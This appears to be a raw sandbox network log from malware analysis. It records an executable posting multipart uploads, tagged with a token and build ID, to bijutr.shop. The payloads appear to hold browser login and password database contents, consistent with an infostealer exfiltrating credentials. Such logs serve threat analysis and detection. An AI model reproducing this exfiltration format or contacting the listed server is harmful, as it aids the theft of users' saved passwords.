AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:41 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 4b 77 51 47 46 7a 38 5a 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpKwQGFz8ZAQBpbmRleHNxbGl0ZV9h
2024-12-27 07:20:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:41 UTC	3313	OUT	Data Raw: 6b 5a 58 68 69 63 6d 56 68 59 32 68 6c 5a 42 52 44 55 6b 56 42 56 45 55 67 53 55 35 45 52 56 67 67 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 64 47 46 69 62 47 56 66 61 57 35 6b 5a 58 67 67 54 30 34 67 59 6e 4a 6c 59 57 4e 6f 5a 57 51 67 4b 48 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 55 70 4c 78 41 47 46 30 4d 64 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 64 58 52 76 61 57 35 6b 5a 58 68 66 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 4d 57 4a 79 5a 57 46 6a 61 47 56 6b 45 34 49 66 44 77 63 58 48 52 30 42 68 42 46 30 59 57 4a 73 5a 57 4a 79 5a 57 46 6a 61 47 56 6b 59 6e 4a 6c 59 57 4e 6f 5a 57 51 53 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 47 4a 79 5a 57 46 6a 61 47 56 6b 49 43 68 31 63 6d 77 67 56 6b 46 53 51 30 68 42 55 69 42 4f 54 31 Data Ascii: kZXhicmVhY2hlZBRDUkVBVEUgSU5ERVggYnJlYWNoZWRfdGFibGVfaW5kZXggT04gYnJlYWNoZWQgKHVybCwgdXNlcm5hbWUpLxAGF0MdAQBpbmRleHNxbGl0ZV9hdXRvaW5kZXhfYnJlYWNoZWRfMWJyZWFjaGVkE4IfDwcXHR0BhBF0YWJsZWJyZWFjaGVkYnJlYWNoZWQSQ1JFQVRFIFRBQkxFIGJyZWFjaGVkICh1cmwgVkFSQ0hBUiBOT1
2024-12-27 07:20:43 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:43 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49865	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:43 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----XLFU3OHDJMYMYMYMYMYU User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 262605 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 58 4c 46 55 33 4f 48 44 4a 4d 59 4d 59 4d 59 4d 59 4d 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 58 4c 46 55 33 4f 48 44 4a 4d 59 4d 59 4d 59 4d 59 4d 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 58 4c 46 55 33 4f 48 44 4a 4d 59 4d 59 4d 59 4d 59 4d 59 55 0d 0a 43 6f 6e 74 Data Ascii: ------XLFU3OHDJMYMYMYMYMYUContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------XLFU3OHDJMYMYMYMYMYUContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------XLFU3OHDJMYMYMYMYMYUCont
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 30 63 32 4e 79 5a 57 56 75 58 33 56 79 62 46 39 69 62 47 39 6a 61 33 4e 66 59 6e 6c 77 59 58 4e 7a 5a 57 52 66 59 32 39 31 62 6e 52 6c 63 69 42 4a 54 6c 52 46 52 30 56 53 4c 48 4e 74 59 58 4a 30 63 32 4e 79 5a 57 56 75 58 32 52 76 64 32 35 73 62 32 46 6b 58 32 4a 73 62 32 4e 72 63 31 39 6a 62 33 56 75 64 47 56 79 49 45 6c 4f 56 45 56 48 52 56 49 73 63 32 31 68 63 6e 52 7a 59 33 4a 6c 5a 57 35 66 5a 47 39 33 62 6d 78 76 59 57 52 66 59 6d 78 76 59 32 74 7a 58 32 4a 35 63 47 46 7a 63 32 56 6b 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 7a 62 57 46 79 64 48 4e 6a 63 6d 56 6c 62 6c 39 74 59 57 78 32 5a 58 4a 30 61 58 4e 70 62 6d 64 66 59 6d 78 76 59 32 74 7a 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 68 59 6e Data Ascii: 0c2NyZWVuX3VybF9ibG9ja3NfYnlwYXNzZWRfY291bnRlciBJTlRFR0VSLHNtYXJ0c2NyZWVuX2Rvd25sb2FkX2Jsb2Nrc19jb3VudGVyIElOVEVHRVIsc21hcnRzY3JlZW5fZG93bmxvYWRfYmxvY2tzX2J5cGFzc2VkX2NvdW50ZXIgSU5URUdFUixzbWFydHNjcmVlbl9tYWx2ZXJ0aXNpbmdfYmxvY2tzX2NvdW50ZXIgSU5URUdFUixhYn
2024-12-27 07:20:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49875	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:44 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----47GLNO8GLN7QIM7Q9HDT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 37 47 4c 4e 4f 38 47 4c 4e 37 51 49 4d 37 51 39 48 44 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 34 37 47 4c 4e 4f 38 47 4c 4e 37 51 49 4d 37 51 39 48 44 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 34 37 47 4c 4e 4f 38 47 4c 4e 37 51 49 4d 37 51 39 48 44 54 0d 0a 43 6f 6e 74 Data Ascii: ------47GLNO8GLN7QIM7Q9HDTContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------47GLNO8GLN7QIM7Q9HDTContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------47GLNO8GLN7QIM7Q9HDTCont
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
